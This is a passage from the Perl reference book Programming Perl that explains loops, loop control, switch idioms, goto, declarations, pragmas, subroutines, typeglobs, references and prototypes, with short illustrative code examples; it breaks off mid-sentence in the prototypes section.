All compound loop statements have an optional LABEL. If present, the label consists of an identifier followed by a colon. It's customary to make the label upper case to avoid potential conflict with reserved words, and so it stands out better. (But don't use BEGIN or END!)

2.6.4.1 While statements

The while statement repeatedly executes the block as long as the EXPR is true. If the word while is replaced by the word until, the sense of the test is reversed. The conditional is still tested before the first iteration, though.

The while statement has an optional extra block on the end called a continue block. This is a block that is executed every time the block is continued, either by falling off the end of the first block, or by an explicit loop-control command that goes to the next iteration. The continue block is not heavily used in practice, but it's in there so we can define the for loop rigorously. So let's do that.

2.6.4.2 For loops

The C-style for loop has three semicolon-separated expressions within its parentheses. These three expressions function respectively as the initialization, the condition, and the re-initialization expressions of the loop. (All three expressions are optional, and the condition, if omitted, is assumed to be true.) The for loop can be defined in terms of the corresponding while loop.

Thus, the following:

for ($i = 1; $i < 10; $i++) {
    ...
}

is the same as:

$i = 1;
while ($i < 10) {
    ...
}
continue {
    $i++;
}

(Defining the for loop in terms of a continue block allows us to preserve the correct semantics even when the loop is continued via a next statement. This is unlike C, in which there is no way to write the exact equivalent of a continued for loop without chicanery.)

If you want to iterate through two variables simultaneously, just separate the parallel expressions with commas:

for ($i = 0, $bit = 1; $mask & $bit; $i++, $bit <<= 1) {
    print "Bit $i is set\n";
}

Besides the normal array index looping, for can lend itself to many other interesting applications. There doesn't even have to be an explicit loop variable. Here's one example that avoids the problem you get into if you explicitly test for end-of-file on an interactive file descriptor, causing your program to appear to hang.

$on_a_tty = -t STDIN && -t STDOUT;
sub prompt { print "yes? " if $on_a_tty }
for ( prompt(); <STDIN>; prompt() ) {
    # do something
}

One final application for the for loop results from the fact that all three expressions are optional. If you do leave all three expressions out, you have written an "infinite" loop in a way that is customary in the culture of both Perl and C:

for (;;) {
    ...
}

If the notion of infinite loops bothers you, we should point out that you can always terminate such a loop from the inside with an appropriate loop-control command. Of course, if you're writing the code to control a cruise missile, you may not actually need to write a loop exit. The loop will be terminated automatically at the appropriate moment.[39]

[39] That is, the fallout from the loop tends to occur automatically.

2.6.4.3 Foreach loops

The foreach loop iterates over a list value and sets the control variable (VAR) to be each element of the list in turn:

foreach VAR (LIST) {
    ...
}

The variable is implicitly local to the loop and regains its former value upon exiting the loop. If the variable was previously declared with my, that variable instead of the global one is used, but it's still localized to the loop.

The foreach keyword is actually a synonym for the for keyword, so you can use foreach for readability or for for brevity. If VAR is omitted, $_ is used. If LIST is an actual array (as opposed to an expression returning a list value), you can modify each element of the array by modifying VAR inside the loop. That's because the foreach loop index variable is an implicit alias for each item in the list that you're looping over. Our first two examples modify an array in place:

for (@ary) { s/ham/turkey/ }                # substitution

foreach $elem (@elements) {                 # multiply by 2
    $elem *= 2;
}

for $count (10,9,8,7,6,5,4,3,2,1,'BOOM') {  # do a countdown
    print $count, "\n"; sleep(1);
}

for $count (reverse 'BOOM', 1..10) {        # same thing
    print $count, "\n"; sleep(1);
}

for $item (split /:[\\\n:]*/, $TERMCAP) {   # any LIST expression
    print "Item: $item\n";
}

foreach $key (sort keys %hash) {            # sorting keys
    print "$key => $hash{$key}\n";
}

That last one is the canonical way to print out the values of a hash in sorted order.

Note that there is no way with foreach to tell where you are in a list. You can compare adjacent elements by remembering the previous one in a variable, but sometimes you just have to break down and write an ordinary for loop with subscripts. That's what for is there for, after all.

Here's how a C programmer might code up a particular algorithm in Perl:

for ($i = 0; $i < @ary1; $i++) {
    for ($j = 0; $j < @ary2; $j++) {
        if ($ary1[$i] > $ary2[$j]) {
            last; # can't go to outer :-(
        }
        $ary1[$i] += $ary2[$j];
    }
    # this is where that last takes me
}

Whereas here's how a Perl programmer more comfortable with list processing might do it:

WID: foreach $this (@ary1) {
    JET: foreach $that (@ary2) {
        next WID if $this > $that;
        $this += $that;
    }
}

See how much easier this is? It's cleaner, safer, and faster. It's cleaner because it's less noisy. It's safer because if code gets added between the inner and outer loops later on, the new code won't be accidentally executed: next explicitly iterates the other loop rather than merely terminating the inner one. And it's faster because Perl executes a foreach statement more rapidly than it would the equivalent for loop because the elements are accessed directly instead of through subscripting.

Like the while statement, the foreach statement can also take a continue block.

We keep dropping hints about next, but now we're going to explain it.

2.6.4.4 Loop control

We mentioned that you can put a LABEL on a loop to give it a name. The loop's LABEL identifies the loop for the loop-control commands next, last, and redo. The LABEL names the loop as a whole, not just the top of the loop. Hence, a loop-control command referring to the loop doesn't actually "go to" the loop label itself. As far as the computer is concerned, the label could just as easily have been placed at the end of the loop. But people like things labeled at the top, for some reason.

Loops are typically named for the item the loop is processing on each iteration. This interacts nicely with the loop-control commands, which are designed to read like English when used with an appropriate label and a statement modifier. The archetypical loop processes lines, so the archetypical loop label is LINE:, and the archetypical loop-control command is something like this:

next LINE if /^#/;      # discard comments

The syntax for the loop-control commands is:

last LABEL
next LABEL
redo LABEL

The LABEL is optional, and if omitted, the loop-control command refers to the innermost enclosing loop. If you want to break out more than one level, though, you must use a LABEL. You may have as many loop-control commands in a loop as you like.[40]

[40] In the early days of structured programming, some people insisted that loops and subroutines have only one entry and one exit. The one-entry notion is still a good idea, but the one-exit notion has led people to write a lot of unnatural code. Much of programming consists of traversing decision trees. A decision tree naturally starts with a single trunk but ends with many leaves. Write your code with the number of loop exits (and function returns) that is natural to the problem you're trying to solve. If you've declared your local variables with reasonable scopes, things will automatically get cleaned up at the appropriate moment, whichever way you leave the block.

The last command is like the break statement in C (as used in loops); it immediately exits the loop in question. The continue block, if any, is not executed. The following example bombs out of the loop on the first blank line:

LINE: while (<STDIN>) {
    last LINE if /^$/;      # exit when done with header
    ...
}

The next command is like the continue statement in C; it skips the rest of the current iteration and starts the next iteration of the loop. If there is a continue BLOCK on the loop, it is always executed just before the conditional is about to be evaluated again, just like the third part of a C-style for loop. Thus it can be used to increment a loop variable, even when a particular iteration of the loop has been interrupted by a next:

LINE: while (<STDIN>) {
    next LINE if /^#/;      # skip comments
    next LINE if /^$/;      # skip blank lines
    ...
} continue {
    $count++;
}

The redo command restarts the loop block without evaluating the conditional again. The continue block, if any, is not executed. This command is normally used by programs that want to lie to themselves about what was just input.

Suppose you are processing a file like /etc/termcap. If your input line ends with a backslash to indicate continuation, skip ahead and get the next record.

while (<>) {
    chomp;
    if (s/\\$//) {
        $_ .= <>;
        redo;
    }
    # now process $_
}

which is Perl shorthand for the more explicitly written version:

LINE: while ($line = <ARGV>) {
    chomp($line);
    if ($line =~ s/\\$//) {
        $line .= <ARGV>;
        redo LINE;
    }
    # now process $line
}

One more point about loop-control commands. You may have noticed that we are not calling them "statements". That's because they aren't statements, though they can be used for statements. (This is unlike C, where break and continue are allowed only as statements.) You can almost think of them as unary operators that just happen to cause a change in control flow. So you can use them anywhere it makes sense to use them in an expression. In fact, you can even use them where it doesn't make sense. One sometimes sees this coding error:

open FILE, $file
     or warn "Can't open $file: $!\n", next FILE;   # WRONG

The intent is fine, but the next FILE is being parsed as one of the arguments to warn, which is a list operator. So the next executes before the warn gets a chance to emit the warning. In this case, it's easily fixed by turning the warn list operator into the warn function call with some suitably situated parentheses:

open FILE, $file
     or warn("Can't open $file: $!\n"), next FILE;   # okay

2.6.5 Bare Blocks and Case Structures

A BLOCK by itself (labeled or not) is semantically equivalent to a loop that executes once. Thus you can use last to leave the block or redo to restart the block.[41] Note that this is not true of the blocks in eval {}, sub {}, or do {} commands, which are not loop blocks and cannot be labeled. They can't be labeled because they're just terms in an expression. Loop control commands may only be used on true loops, just as the return command may only be used within a subroutine or eval. But you can always introduce an extra set of braces to give yourself a bare block, which counts as a loop.

[41] For reasons that may (or may not) become clear upon reflection, a next also exits the once-through block. There is a slight difference, however, in that a next will execute a continue block, while a last won't.

The bare block is particularly nice for doing case structures (multiway switches).

SWITCH: {
    if (/^abc/) { $abc = 1; last SWITCH; }
    if (/^def/) { $def = 1; last SWITCH; }
    if (/^xyz/) { $xyz = 1; last SWITCH; }
    $nothing = 1;
}

There is no official switch statement in Perl, because there are already several ways to write the equivalent. In addition to the above, you could write: [42]

[42] This code is actually not as strange as it looks once you realize that you can use loop-control operators within an expression. That's just the normal scalar (C-style) comma operator between the assignment and the last. It evaluates the assignment for its side-effect, and then exits the loop in question, which happens to be a bare block named SWITCH.

SWITCH: {
    $abc = 1, last SWITCH  if /^abc/;
    $def = 1, last SWITCH  if /^def/;
    $xyz = 1, last SWITCH  if /^xyz/;
    $nothing = 1;
}

or:

SWITCH: {
    /^abc/ && do { $abc = 1; last SWITCH; };
    /^def/ && do { $def = 1; last SWITCH; };
    /^xyz/ && do { $xyz = 1; last SWITCH; };
    $nothing = 1;
}

or, formatted so it stands out more as a "proper" switch statement:

SWITCH: {
    /^abc/      && do {
                        $abc = 1;
                        last SWITCH;
                   };
    /^def/      && do {
                        $def = 1;
                        last SWITCH;
                   };
    /^xyz/      && do {
                        $xyz = 1;
                        last SWITCH;
                    };
    $nothing = 1;
}

or:

SWITCH: {
    /^abc/      and $abc = 1, last SWITCH;
    /^def/      and $def = 1, last SWITCH;
    /^xyz/      and $xyz = 1, last SWITCH;
    $nothing = 1;
}

or even, horrors:

if    (/^abc/) { $abc = 1 }
elsif (/^def/) { $def = 1 }
elsif (/^xyz/) { $xyz = 1 }
else           { $nothing = 1 }

You might think it odd to write a loop over a single value, but a common idiom for a switch statement is to use foreach's aliasing capability to make a temporary assignment to $_ for convenient matching:

for ($some_ridiculously_long_variable_name) {
    /In Card Names/     and do { push @flags, '-e'; last; };
    /Anywhere/          and do { push @flags, '-h'; last; };
    /In Rulings/        and do {                    last; };
    die "unknown value for form variable where: `$where'";
}

Notice how the last commands in that example ignore the do {} blocks, which aren't loops, and exit the main loop instead.

2.6.6 Goto

Although not for the faint of heart (or the pure of heart, for that matter), Perl does support a goto command. There are three forms: goto LABEL, goto EXPR, and goto &NAME.

The goto LABEL form finds the statement labeled with LABEL and resumes execution there. It may not be used to go inside any construct that requires initialization, such as a subroutine or a foreach loop. It also can't be used to go into a construct that is optimized away. It can be used to go almost anywhere else within the current block or one you were called from, including out of subroutines, but it's usually better to use some other construct. The author of Perl has never felt the need to use this form of goto (in Perl, that is - C is another matter).

The goto EXPR form is just a generalization of goto LABEL. It expects the expression to return a label name, whose location obviously has to be resolved dynamically by the interpreter. (Don't expect this to work in compiled Perl.) This allows for computed gotos per FORTRAN, but isn't necessarily recommended if you're optimizing for maintainability:

goto ("FOO", "BAR", "GLARCH")[$i];

In almost all cases like this, it's usually a far, far better idea to use the structured control flow mechanisms of next, last, or redo instead of resorting to a goto. For certain applications, a hash of function pointers or the catch-and-throw pair of eval and die for exception processing can also be prudent approaches.

The goto &NAME form is highly magical, and quite different from an ordinary goto. It substitutes a call to the named subroutine for the currently running subroutine. This is used by AUTOLOAD subroutines that wish to load another subroutine and then pretend that the other subroutine had been called in the first place. After the goto, not even caller will be able to tell that this routine was called first. See Chapter 3 for a discussion of caller and Chapter 7 for AutoLoader.

2.6.7 Global Declarations

Subroutine and format declarations are global declarations. No matter where you place them, they declare global thingies (actually, package thingies, but packages are global) that are visible from everywhere. Global declarations can be put anywhere a statement can, but have no effect on the execution of the primary sequence of statements - the declarations take effect at compile time. Typically the declarations are put at the beginning or the end of your program, or off in some other file. However, if you're using lexically scoped private variables created with my, you'll want to make sure your format or subroutine definition is within the same block scope as the my if you expect to be able to access those private variables.[43]

[43] For esoteric reasons related to closures, lexicals, and the foreach aliasing mechanism, these my variables must not be the index variable of a foreach loop, because any named subroutine or format will only have been compiled with the first binding.

Formats are bound to a filehandle and accessed implicitly via the write function. For more on formats, see "Formats" later in this chapter.

Subroutines are generally accessed directly, but don't actually have to be defined before calls to them can be compiled. The difference between a subroutine definition and a mere declaration is that the definition supplies a BLOCK containing the code to be executed, while the declaration doesn't. A subroutine definition can function as a declaration if the subroutine hasn't previously been declared.

Declaring a subroutine allows a subroutine name to be used as if it were a list operator from that point forward in the compilation. You can declare a subroutine without defining it by just saying:

sub myname;
$me = myname $0             or die "can't get myname";

Note that it functions as a list operator, though, not as a unary operator, so be careful to use or instead of ||. The || binds too tightly to use after a list operator (at least, not without using extra parentheses to turn the list operator back into a function call).[44] You also need to define the subroutine at some point, or you'll get an error at run-time indicating that you've called an undefined subroutine.

[44] Alternately, turn the subroutine into a unary operator with a prototype. But we haven't talked about that yet.

Subroutine definitions can be loaded from other files with the require statement, but there are two problems with that. First, the other file will typically insert the subroutine names into a package (a namespace) of its own choosing, not your package. Second, a require happens at run-time, so the declaration occurs too late to serve as a declaration in the file invoking the require.

A more useful way to pull in declarations and definitions is via the use declaration, which essentially performs a require at compile time and then lets you import declarations into your own namespace. Because it is importing names into your own (global) package at compile time, this aspect of use can be considered a kind of global declaration. See Chapter 5 for details on this.

2.6.8 Scoped Declarations

Like global declarations, lexically scoped declarations have an effect at the time of compilation. Unlike global declarations, lexically scoped declarations have an effect only from the point of the declaration to the end of the innermost enclosing block. That's why we call them lexically scoped, though perhaps "textually scoped" would be more accurate, since lexical scoping has nothing to do with lexicons. But computer scientists the world around know what "lexically scoped" means, so we perpetuate the usage here.

We mentioned that some aspects of use could be considered global declarations, but there are other aspects that are lexically scoped. In particular, use is not only used to perform symbol importation but also to implement various magical pragmas (compiler hints). Most such pragmas are lexically scoped, including the use strict vars pragma that forces you to use lexically declared variables. See the section "Pragmas" below.

A package declaration, oddly enough, is lexically scoped, despite the fact that a package is a global entity. But a package declaration merely declares the identity of the default package for the rest of the enclosing block. Undeclared, unqualified variable names will be looked up in that package. In a sense, a package isn't declared at all, but springs into existence when you refer to a variable that belongs in the package. It's all very Perlish.

The most frequently seen form of lexically scoped declaration is the declaration of my variables. A related form of scoping known as dynamic scoping applies to local variables, which are really global variables in disguise. If you refer to a variable that has not been declared, its visibility is global by default, and its lifetime is forever. A variable used at one point in your program is accessible from anywhere else in the program.[45] If this were all there were to the matter, Perl programs would quickly become unwieldy as they grew in size. Fortunately, you can easily create private variables using my, and semi-private values of global variables using local. A my or a local declares the listed variables (in the case of my), or the values of the listed global variables (in the case of local), to be confined to the enclosing block, subroutine, eval, or file. If more than one variable is listed, the list must be placed in parentheses. All listed elements must be legal lvalues. (For my the constraints are even tighter: the elements must be simple scalar, array, or hash variables, and nothing else.) Here are some examples of declarations of lexically scoped variables:

[45] To reiterate, even apparently global variables aren't really global - they're actually package variables. These work a bit like C's file static variables, or C++'s class static variables. Packages are used by libraries, modules, and classes to store their own private data so it doesn't conflict with data in your main program. If you see someone write $Some::stuff or $Some'stuff, they're using the $stuff scalar variable from the package Some. See Chapter 5.

my $name = "fred";
my @stuff = ("car", "house", "club");
my ($vehicle, $home, $tool) = @stuff;

(These declarations also happen to perform an initializing assignment at run-time.)

A local variable is dynamically scoped, whereas a my variable is lexically scoped. The difference is that any dynamic variables are also visible to functions called from within the block in which those variables are declared. Lexical variables are not. They are totally hidden from the outside world, including any called subroutines (even if it's the same subroutine called from itself or elsewhere - every instance of the subroutine gets its own copy of the variables).[46] In either event, the variable (or local value) disappears when the program exits the lexical scope in which the my or local finds itself. By and large, you should prefer to use my over local because it's faster and safer. But you have to use local if you want to temporarily change the value of an existing global variable, such as any of the special variables listed at the end of this chapter. Only alphanumeric identifiers may be lexically scoped. We won't talk much more about the semantics of local here. See local in Chapter 3 for more information.

[46] An eval, however, can see the lexical variables of the scope it is being evaluated in, so long as the names aren't hidden by declarations within the eval itself. Likewise, any anonymous subroutine (closure) created within the scope will also see such lexical variables. See Chapter 4 for more on closures.

Syntactically, my and local are simply modifiers (adjectives) on an lvalue expression. When you assign to a modified lvalue, the modifier doesn't change whether the lvalue is viewed as a scalar or a list. To figure how the assignment will work, just pretend that the modifier isn't there. So:

my ($foo) = <STDIN>;
my @FOO = <STDIN>;

both supply a list context to the right-hand side, while:

my $foo = <STDIN>;

supplies a scalar context.

The my binds more tightly (with higher precedence) than the comma does. The following only declares one variable because the list following my is not enclosed in parentheses:

my $foo, $bar = 1;

This has the same effect as:

my $foo;
$bar = 1;

(You'll get a warning about the mistake if you use -w.)

The declared variable is not introduced (is not visible) until after the current statement. Thus:

my $x = $x;

can be used to initialize the new inner $x with the value of the old outer $x. (Not that we recommend this style.) On the other hand, the expression:

my $x = 123 and $x == 123

is false unless the old $x just happened to have the value 123.

Declaring a lexical variable of a particular name hides any previously declared lexical variable of the same name. It also hides any unqualified global variable of the same name, but you can always get to the global variable by explicitly qualifying it with the name of the package the global is in.

For example:

$PackageName::varname

A statement sequence may contain declarations of lexically scoped variables, but apart from declaring variable names, the declarations act like ordinary statements, and each of them is elaborated within the sequence of statements as if it were an ordinary statement.

2.6.9 Pragmas

Many languages allow you to give hints to the compiler. In Perl these hints are conveyed to the compiler with the use declaration. Some of the pragmas are:

use integer
use strict
use lib
use sigtrap
use subs
use vars

All the Perl pragmas are described in Chapter 7, but we'll talk about some of the more useful ones here.

By default, Perl assumes that it must do much of its arithmetic in floating point. But by saying:

use integer;

you may tell the compiler that it's okay to use integer operations from here to the end of the enclosing block. An inner block may countermand this by saying:

no integer;

which lasts until the end of that inner block.

Some users may wish to encourage the use of lexical variables. As an aid to catching implicit references to package variables, if you say:

use strict 'vars';

then any variable reference from there to the end of the enclosing block must either refer to a lexical variable, or must be fully qualified with the package name. A compilation error results otherwise. An inner block may countermand this with:

no strict 'vars'

You can also turn on strict checking of symbolic references and barewords with this pragma. Often people say use strict; to turn on all three strictures.

Subroutines and variables that are imported from other modules have special privileges in Perl. Imported subroutines can override many built-in operators, and imported variables are exempt from use strict 'vars', since importation is considered a form of declaration. Sometimes you want to confer these privileges on your own subroutines and variables. You can do this with:

use subs qw(&read &write);

and:

use vars qw($fee $fie $foe $foo @sic);

Finally, Perl searches for modules in a standard list of locations. You need to be able to add to that list at compile time, because when you use modules they're loaded at compile time, and adding to the list at run-time would be too late. So you can put:

use lib "/my/own/lib/directory";

at the front of your program to do this. Note that these last three pragmas all modify global structures, and can therefore have effects outside of the current lexical scope.

Previous: 2.5 Operators | Programming Perl | Next: 2.7 Subroutines
2.5 Operators | Book Index | 2.7 Subroutines


[Chapter 2] 2.7 Subroutines

Programming PerlSearch this book

2.7 Subroutines

Like many languages, Perl provides for user-defined subroutines. (We'll also call them functions, but functions are the same thing as subroutines in Perl.) These subroutines may be defined anywhere in the main program, loaded in from other files via the do, require, or use keywords, or even generated on the fly using eval. You can generate anonymous subroutines, accessible only through references. You can even call a subroutine indirectly using a variable containing either its name or a reference to the routine.

To declare a subroutine, use one of these forms:

sub NAME;              # A "forward" declaration.
sub NAME (PROTO);      # Ditto, but with prototype.

To declare and define a subroutine, use one of these forms:

sub NAME BLOCK         # A declaration and a definition.
sub NAME (PROTO) BLOCK # Ditto, but with prototype.

To define an anonymous subroutine or closure at run-time, use a statement like:

$subref = sub BLOCK;

To import subroutines defined in another package, say:

use PACKAGE qw(NAME1 NAME2 NAME3...);

To call subroutines directly:

NAME(LIST);            # & is optional with parentheses.
NAME LIST;             # Parens optional if predeclared/imported.
&NAME;                 # Passes current @_ to subroutine.

To call subroutines indirectly (by name or by reference):

&$subref(LIST);        # & is not optional on indirect call.
&$subref;              # Passes current @_ to subroutine.

The Perl model for passing data into and out of a subroutine is simple: all function parameters are passed as one single, flat list of scalars, and multiple return values are likewise returned to the caller as one single, flat list of scalars. As with any LIST, any arrays or hashes passed in these lists will interpolate their values into the flattened list, losing their identities - but there are several ways to get around this, and the automatic list interpolation is frequently quite useful. Both parameter lists and return lists may contain as many or as few scalar elements as you'd like (though you may put constraints on the parameter list using prototypes). Indeed, Perl is designed around this notion of variadic functions (those taking any number of arguments), unlike C, where they're sort of grudgingly kludged in so that you can call printf(3).

Now, if you're going to design a language around the notion of passing varying numbers of arbitrary arguments, you'd better make it easy to process those arbitrary lists of arguments. In the interests of dealing with the function parameters as a list, any arguments passed to a Perl routine come in as the array @_. If you call a function with two arguments, those would be stored in $_[0] and $_[1]. Since @_ is an array, you can use any array operations you like on the parameter list. (This is an area where Perl is more orthogonal than the typical computer language.) The array @_ is a local array, but its values are implicit references to the actual scalar parameters. Thus you can modify the actual parameters if you modify the corresponding element of @_. (This is rarely done, however, since it's so easy to return interesting values in Perl.)

The return value of the subroutine (or of any other block, for that matter) is the value of the last expression evaluated. Or you may use an explicit return statement to specify the return value and exit the subroutine from any point in the subroutine. Either way, as the subroutine is called in a scalar or list context, so also is the final expression of the routine evaluated in the same scalar or list context.

Perl does not have named formal parameters, but in practice all you do is assign the contents of @_ to a my list, which serves nicely for a list of formal parameters. But you don't have to, which is the whole point of the @_ array.

For example, to calculate a maximum, the following routine just iterates over @_ directly:

sub max {
    my $max = shift(@_);
    foreach $foo (@_) {
        $max = $foo if $max < $foo;
    }
    return $max;
}
$bestday = max($mon,$tue,$wed,$thu,$fri);

Here's a routine that ignores its parameters entirely, since it wants to keep a global lookahead variable:

# Get a line, combining continuation lines that start with whitespace

sub get_line {
    my $thisline = $LOOKAHEAD;
    LINE: while ($LOOKAHEAD = <STDIN>) {
        if ($LOOKAHEAD =~ /^[ \t]/) {
            $thisline .= $LOOKAHEAD;
        }
        else {
            last LINE;
        }
    }
    $thisline;
}

$LOOKAHEAD = <STDIN>;       # get first line
while ($_ = get_line()) {
    ...
}

Use list assignment to a private list to name your formal arguments:

sub maybeset {
    my($key, $value) = @_;
    $Foo{$key} = $value unless $Foo{$key};
}

This also has the effect of turning call-by-reference into call-by-value (to borrow some fancy terms from computer science), since the assignment copies the values.

Here's an example of not naming your formal arguments, so that you can modify your actual arguments:

upcase_in($v1, $v2);  # this changes $v1 and $v2
sub upcase_in {
    for (@_) { tr/a-z/A-Z/ }
}

You aren't allowed to modify constants in this way, of course. If an argument were actually a literal and you tried to change it, you'd take an exception (presumably fatal, possibly career-threatening). For example, this won't work:

upcase_in("frederick");

It would be much safer if the upcase_in() function were written to return a copy of its parameters instead of changing them in place:

($v3, $v4) = upcase($v1, $v2);
sub upcase {
    my @parms = @_;
    for (@parms) { tr/a-z/A-Z/ }
    # wantarray checks whether we were called in list context
    return wantarray ? @parms : $parms[0];
}

Notice how this (unprototyped) function doesn't care whether it was passed real scalars or arrays. Perl will see everything as one big, long, flat @_ parameter list. This is one of the ways where Perl's simple argument-passing style shines. The upcase function will work perfectly well without changing the upcase definition even if we feed it things like this:

@newlist   = upcase(@list1, @list2);
@newlist   = upcase( split /:/, $var );

Do not, however, be tempted to do this:

(@a, @b)   = upcase(@list1, @list2);   # WRONG

Why not? Because, like the flat incoming parameter list, the return list is also flat. So all you have managed to do here is store everything in @a and make @b an empty list. See the later section on "Passing References" for alternatives.

The official name of a subroutine includes the & prefix. A subroutine may be called using the prefix, but the & is usually optional, and so are the parentheses if the subroutine has been predeclared. (Note, however, that the & is not optional when you're just naming the subroutine, such as when it's used as an argument to defined or undef, or when you want to generate a reference to a named subroutine by saying $subref = \&name. Nor is the & optional when you want to do an indirect subroutine call with a subroutine name or reference using the &$subref() or &{$subref}() constructs. See Chapter 4 for more on that.)

Subroutines may be called recursively. If a subroutine is called using the & form, the argument list is optional, and if omitted, no @_ array is set up for the subroutine: the @_ array of the calling routine at the time of the call is visible to called subroutine instead. This is an efficiency mechanism that new users may wish to avoid.

&foo(1,2,3);    # pass three arguments
foo(1,2,3);     # the same

foo();          # pass a null list
&foo();         # the same

&foo;           # foo() gets current args, like foo(@_) !!
foo;            # like foo() if sub foo pre-declared, else bareword "foo"

Not only does the & form make the argument list optional, but it also disables any prototype checking on the arguments you do provide. This is partly for historical reasons, and partly for having a convenient way to cheat if you know what you're doing. See the section on "Prototypes" later in this chapter.

Any variables you use in the function that aren't declared private are global variables. For more on creating private variables, see my in Chapter 3.

2.7.1 Passing Symbol Table Entries (Typeglobs)

Note that the mechanism described in this section was originally the only way to simulate pass-by-reference in older versions of Perl. While it still works fine in modern versions, the new reference mechanism is generally easier to work with. See below.

Sometimes you don't want to pass the value of an array to a subroutine but rather the name of it, so that the subroutine can modify the global copy of it rather than working with a local copy. In Perl you can refer to all objects of a particular name by prefixing the name with a star: *foo. This is often known as a typeglob, since the star on the front can be thought of as a wildcard match for all the funny prefix characters on variables and subroutines and such.

When evaluated, a typeglob produces a scalar value that represents all the objects of that name, including any scalar, array, or hash variable, and also any filehandle, format, or subroutine. When assigned to, a typeglob sets up its own name to be an alias for whatever typeglob value was assigned to it. For example:

sub doubleary {
    local(*someary) = @_;
    foreach $elem (@someary) {
        $elem *= 2;
    }
}
doubleary(*foo);
doubleary(*bar);

Note that scalars are already passed by reference, so you can modify scalar arguments without using this mechanism by referring explicitly to $_[0], and so on. You can modify all the elements of an array by passing all the elements as scalars, but you have to use the * mechanism (or the equivalent reference mechanism described below) to push, pop, or change the size of an array. It will certainly be faster to pass the typeglob (or reference) than to push a bunch of scalars onto the argument stack only to pop them all back off again.

Even if you don't want to modify an array, this mechanism is useful for passing multiple arrays in a single LIST, since normally the LIST mechanism will flatten all the list values so that you can't extract out the individual arrays.

2.7.2 Passing References

If you want to pass more than one array or hash into or out of a function and have them maintain their integrity, then you're going to want to use an explicit pass-by-reference. Before you do that, you need to understand references as detailed in Chapter 4. This section may not make much sense to you otherwise. But hey, you can always look at the pictures.

Here are a few simple examples. First, let's pass in several arrays to a function and have it pop each of them, returning a new list of all their former last elements:

@tailings = popmany ( \@a, \@b, \@c, \@d );

sub popmany {
    my $aref;
    my @retlist = ();
    foreach $aref ( @_ ) {
        push @retlist, pop @$aref;
    }
    return @retlist;
}

Here's how you might write a function that returns a list of keys occurring in all the hashes passed to it:

@common = inter( \%foo, \%bar, \%joe );
sub inter {
    my ($k, $href, %seen); # locals
    foreach $href (@_) {
        while ( ($k) = each %$href ) {
            $seen{$k}++;
        }
    }
    return grep { $seen{$_} == @_ } keys %seen;
}

So far, we're just using the normal list return mechanism. What happens if you want to pass or return a hash? Well, if you're only using one of them, or you don't mind them concatenating, then the normal calling convention is OK, although a little expensive.

Where people get into trouble is here:

(@a, @b) = func(@c, @d);

or here:

(%a, %b) = func(%c, %d);

That syntax simply won't work. It just sets @a or %a and clears @b or %b. Plus the function doesn't get two separate arrays or hashes as arguments: it gets one long list in @_, as always.

If you can arrange for the function to receive references as its parameters and return them as its return results, it's cleaner code, although not so nice to look at. Here's a function that takes two array references as arguments, returning the two array references ordered according to how many elements they have in them:

($aref, $bref) = func(\@c, \@d);
print "@$aref has more than @$bref\n";
sub func {
    my ($cref, $dref) = @_;
    if (@$cref > @$dref) {
        return ($cref, $dref);
    } else {
        return ($dref, $cref);
    }
}

It turns out that you can actually mix the typeglob approach with the reference approach, like this:

(*a, *b) = func(\@c, \@d);
print "@a has more than @b\n";
sub func {
    local (*c, *d) = @_;
    if (@c > @d) {
        return (\@c, \@d);
    } else {
        return (\@d, \@c);
    }
}

Here we're using the typeglobs to do symbol table aliasing. It's a tad subtle, though, and also won't work if you're using my variables, since only globals (well, and locals) are in the symbol table. When you assign a reference to a typeglob like that, only the one element from the typeglob (in this case, the array element) is aliased, instead of all the similarly named elements, since the reference knows what it's referring to.

If you're passing around filehandles, you can usually just use the bare typeglob, like *STDOUT, but references to typeglobs work even better because they still behave properly under use strict 'refs'. For example:

splutter(\*STDOUT);
sub splutter {
    my $fh = shift;
    print $fh "her um well a hmmm\n";
}

$rec = get_rec(\*STDIN);
sub get_rec {
    my $fh = shift;
    return scalar <$fh>;
}

If you're planning on generating new filehandles, see the open entry in Chapter 3 for an example using the FileHandle module.

2.7.3 Prototypes

As of the 5.003 release of Perl, you can declare your subroutines to take arguments just like many of the built-ins, that is, with certain constraints on the number and types of arguments. For instance, if you declare:

sub mypush (\@@)

then mypush takes arguments exactly like push does. The declaration of the function to be called must be visible at compile time. The prototype only affects the interpretation of new-style calls to the function, where new-style is defined as "not using the & character". In other words, if you call it like a built-in function, then it behaves like a built-in function. If you call it like an old-fashioned subroutine, then it behaves like an old-fashioned subroutine. It naturally falls out from this rule that prototypes have no influence on subroutine references like \&foo or on indirect subroutine calls like &{$subref}.

Method calls are not influenced by prototypes either. This is because the function to be called is indeterminate at compile-time, depending as it does on inheritance, which is dynamically determined in Perl.

Since the intent is primarily to let you define subroutines that work like built-in commands, here are the prototypes for some other functions that parse almost exactly like the corresponding built-ins. (Note that the "my" on the front of each is just part of the name we picked, and has nothing to do with Perl my operator. You can name your prototyped functions anything you like - we just picked our names to parallel the built-in functions.)

Declared as | Called as
sub mylink ($$) | mylink $old, $new
sub myvec ($$$) | myvec $var, $offset, 1
sub myindex ($$;$) | myindex &getstring, "substr"
sub mysyswrite ($$$;$) | mysyswrite $buf, 0, length($buf) - $off, $off
sub myreverse (@) | myreverse $a,$b,$c
sub myjoin ($@) | myjoin ":",$a,$b,$c
sub mypop (\@) | mypop @array
sub mysplice (\@$$@) | mysplice @array,@array,0,@pushme
sub mykeys (\%) | mykeys %{$hashref}
sub myopen (*;$) | myopen HANDLE, $name
sub mypipe (**) | mypipe READHANDLE, WRITEHANDLE
sub mygrep (&@) | mygrep { /foo/ } $a,$b,$c
sub myrand ($) | myrand 42
sub mytime () | mytime

Any backslashed prototype character (shown between parentheses in the left column above) represents an actual argument (exemplified in the right column) that absolutely must start with that character. Just as the first argument to keys must start with %, so too must the first argument to mykeys.

Unbackslashed prototype characters have special meanings. Any unbackslashed @ or % eats all the rest of the actual arguments, and forces list context. (It's equivalent to LIST in a syntax diagram.) An argument represented by $ forces scalar context on it. An & requires an anonymous subroutine (which, if passed as the first argument, does not require the "sub" keyword or a subsequent comma). And a * does whatever it has to do to turn the argument into a reference to a symbol table entry. It's typically used for filehandles.

A semicolon separates mandatory arguments from optional arguments. (It would be redundant before @ or %, since lists can be null.)

Note how the last three examples above are treated specially by the parser. mygrep is parsed as a true list operator, myrand is parsed as a true unary operator with unary precedence the same as rand, and mytime is truly argumentless, just like time.

That is, if you say:

mytime +2;

you'll get mytime() + 2, not mytime(2), which is how it would be parsed without the prototype, or with a unary prototype.

The interesting thing about & is that you can generate new syntax with it:

